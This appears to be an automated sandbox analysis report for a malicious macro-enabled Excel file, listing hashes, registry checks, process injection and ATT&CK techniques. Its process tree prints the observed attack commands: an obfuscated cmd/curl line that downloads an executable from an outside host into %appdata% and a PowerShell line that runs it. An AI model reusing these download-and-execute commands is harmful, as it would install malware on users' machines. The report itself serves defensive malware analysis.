8ce437b22df609ef044e937d4fcb5b711d2d5af31e0ef919ba20851dfae9fa57

General

Target

d5af0628161872a7715bbed443617e022d4d4275cf871c615a4a4a6021f4c79f.xlsm
Size

85KB
MD5

7a45941305a7b20939257f9fdd30f39d
SHA1

d689973704061d25b928229352db2a5394c2f52c
SHA256

d5af0628161872a7715bbed443617e022d4d4275cf871c615a4a4a6021f4c79f
SHA512

45d3ff42e59db13969adf069dbb7017ba5b349377dadcc18ac445f9aff0561a15cc3b54ab83818e64f175b9ca2ab7548d6a9059aaffa7ed0ddf62aa99cafd10e

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	356	1456	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2132	1456	cmd.exe	EXCEL.EXE

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

Processes:

cmd.exe

pid process

356 cmd.exe

pid	process
356	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1456 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2736 powershell.exe
2736 powershell.exe
2736 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2736 powershell.exe

pid	process
2736	powershell.exe
2736	powershell.exe
2736	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2736	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 1456 wrote to memory of 356	1456	EXCEL.EXE	cmd.exe
PID 1456 wrote to memory of 356	1456	EXCEL.EXE	cmd.exe
PID 1456 wrote to memory of 2132	1456	EXCEL.EXE	cmd.exe
PID 1456 wrote to memory of 2132	1456	EXCEL.EXE	cmd.exe
PID 356 wrote to memory of 2736	356	cmd.exe	powershell.exe
PID 356 wrote to memory of 2736	356	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d5af0628161872a7715bbed443617e022d4d4275cf871c615a4a4a6021f4c79f.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1456

C:\Windows\SYSTEM32\cmd.exe
cmd /c p^o^w^e^r^s^h^e^l^l.e^xe -w 1 Start-Sleep 10;%appdata%\AyBtH.exe
2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:356

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -w 1 Start-Sleep 10;C:\Users\Admin\AppData\Roaming\AyBtH.exe
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2736

C:\Windows\SYSTEM32\cmd.exe
cmd /c c^u^r^l.exe --output %appdata%\AyBtH.exe --url https://buydomainnameuk.com/css/bin2.exe
2⤵
- Process spawned unexpected child process
PID:2132

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/356-179-0x0000000000000000-mapping.dmp

Download
memory/1456-122-0x00007FF8A2B90000-0x00007FF8A3C7E000-memory.dmp

Filesize
16.9MB

Download
memory/1456-116-0x00007FF882460000-0x00007FF882470000-memory.dmp

Filesize
64KB

Download
memory/1456-117-0x00007FF882460000-0x00007FF882470000-memory.dmp

Filesize
64KB

Download
memory/1456-118-0x00007FF882460000-0x00007FF882470000-memory.dmp

Filesize
64KB

Download
memory/1456-121-0x00007FF882460000-0x00007FF882470000-memory.dmp

Filesize
64KB

Download
memory/1456-114-0x00007FF6DFAC0000-0x00007FF6E3076000-memory.dmp

Filesize
53.7MB

Download
memory/1456-123-0x00007FF8A0C90000-0x00007FF8A2B85000-memory.dmp

Filesize
31.0MB

Download
memory/1456-115-0x00007FF882460000-0x00007FF882470000-memory.dmp

Filesize
64KB

Download
memory/2132-180-0x0000000000000000-mapping.dmp

Download
memory/2736-181-0x0000000000000000-mapping.dmp

Download
memory/2736-182-0x000002B7A5EC0000-0x000002B7A5EC2000-memory.dmp

Filesize
8KB

Download
memory/2736-183-0x000002B7A5EC3000-0x000002B7A5EC5000-memory.dmp

Filesize
8KB

Download
memory/2736-184-0x000002B7A5EC6000-0x000002B7A5EC8000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads